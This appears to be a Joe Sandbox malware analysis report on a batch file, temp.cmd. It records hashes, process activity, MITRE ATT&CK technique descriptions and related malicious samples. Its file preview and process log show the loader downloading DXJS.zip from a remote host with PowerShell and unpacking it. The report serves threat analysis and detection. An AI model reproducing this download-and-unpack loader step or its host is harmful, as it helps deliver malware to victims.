Analysis ID:	1446792
Start date and time:	2024-05-23 20:37:55 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	temp.cmd
Detection:	MAL
Classification:	mal60.troj.winCMD@6/1030@1/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .cmd

Time	Type	Description
14:38:42	API Interceptor	85x Sleep call for process: powershell.exe modified
14:40:07	API Interceptor	2144x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DATACLUB-NL	price_request_.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	185.29.11.62
	disprovable.dll	Get hash	malicious	CryptOne, Qbot	Browse	84.38.133.191
	BL.xls	Get hash	malicious	Lokibot	Browse	84.38.129.114
	kej177el6.dll	Get hash	malicious	Qbot	Browse	84.38.133.191
	e0CIQlOSBx.exe	Get hash	malicious	Remcos, DBatLoader	Browse	84.38.133.134
	6K9552cWbC.exe	Get hash	malicious	Remcos, DBatLoader	Browse	84.38.133.134
	VMefbbeoVM.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.29.11.109
	Company_Request7838787.exe	Get hash	malicious	Remcos, DBatLoader	Browse	185.29.11.109
	New_Order_&_Samples_pdf.exe	Get hash	malicious	Remcos, NSISDropper	Browse	185.29.11.110
	Leintz_PO-2023-04-03.exe	Get hash	malicious	AveMaria, UACMe	Browse	84.38.133.217

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\Downloads\Python\Python312\Lib\asyncio\threads.py	erg.exe	Get hash	malicious	Unknown	Browse
	erg.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Trojan.KillProc2.18834.21003.25927.exe	Get hash	malicious	Unknown	Browse
	https://blog.kakaocdn.net/dn/bQCtiO/btrZNLa3uSC/fkfA7i8YHQPZkqWR63Gba0/launcher.exe?attach=1&knm=tfile.exe	Get hash	malicious	Unknown	Browse

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.053883819182895
Encrypted:	false
SSDEEP:	768:CinHzwiNKe+NZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhj9ardFwOkMx:CinHzwiNKeLtAHk4VlOdB5cCYoUV3CNT
MD5:	7BB845A66FBC67C74AF32B48E35AC529
SHA1:	654F71D7B8EEF31D6DEFD3C5C9301DD88C7CC0B7
SHA-256:	03BCB325459833E54C43C7ACD18061CEBB288BC23E5310247CDD6F9AABB7C285
SHA-512:	A9D660C3DBB2EAE24BD1F4F0FEE60F697975839DDA07EA8E60061CE89190983464F32C3505587C5122E898A7C173E1AD97143C2D7FD414EDA78094AAEDCAB898
Malicious:	false
Reputation:	low
Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report temp.cmd

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30anb1oh.swz.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5f4xg5y.upp.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dl1sb4eu.mdy.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lzsi5ugs.m5a.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xgxr0stz.r5d.ps1

C:\Users\user\Downloads\DXJS.zip

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-I.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-J.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-K.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-L.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-M.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-N.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-O.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-P.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-Q.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-R.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-S.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-Symbols.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-T.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-U.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-V.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-W.html

C:\Users\user\Downloads\Python\Python312\Doc\html\genindex-X.html

Windows Analysis Report
temp.cmd

C:\Users\user\Downloads\Python\Python312\Doc\html\library\future.html

C:\Users\user\Downloads\Python\Python312\Doc\html\library\main.html

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.269804744827634
TrID:
File name:	temp.cmd
File size:	884 bytes
MD5:	9a0a5c37ad5779df65026fa65fface8f
SHA1:	a95cb44d167d5f1dd91007ff38f0619dded39d9a
SHA256:	c71626ef5b144db123108888526950755f79e82d772a3fe0b99b8a781b382970
SHA512:	9d3ae9f5970eae85a1ec86bd6221d25c2214352482fbd7529ab5527a3d6528d713c657e9d118e0bbc58e68c33fa544feb999e697d1e0a162c7d29ee3f8a91cf6
SSDEEP:	24:kHMlRbJ0zOSb8OKPw7Hm5KvGEotjsyv0mOOdyyaU:U6Rlqx4hw7HmIvrUjsyTO4
TLSH:	98112757158BF1208070D277D03C23F065555EE93A08144F27B5987A788C6D8C2956AE
File Content Preview:	setlocal....:: Variables for downloading the ZIP file..set "zipUrl=http://invoicetrycloudflare.com:9983/DXJS.zip"..set "destination=%USERPROFILE%\Downloads\DXJS.zip"..set "extractTo=%USERPROFILE%\Downloads"....:: Use Invoke-WebRequest to download the ZIP

Timestamp	Bytes transferred	Direction	Data
May 23, 2024 20:38:44.770416975 CEST	182	OUT	GET /DXJS.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: invoicetrycloudflare.com:9983 Connection: Keep-Alive
May 23, 2024 20:38:45.413423061 CEST	307	IN	HTTP/1.1 200 OK Content-Length: 44754215 Last-Modified: Thu, 23 May 2024 16:58:30 GMT Content-Type: application/x-zip-compressed Date: Thu, 23 May 2024 18:38:45 GMT ETag: "f62b09ddebcb6443a6a3241db44d448a-1716483510-44754215" Accept-Ranges: bytes Server: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1

Target ID:	0
Start time:	14:38:40
Start date:	23/05/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\temp.cmd" "
Imagebase:	0x7ff7ccb90000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	14:39:49
Start date:	23/05/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre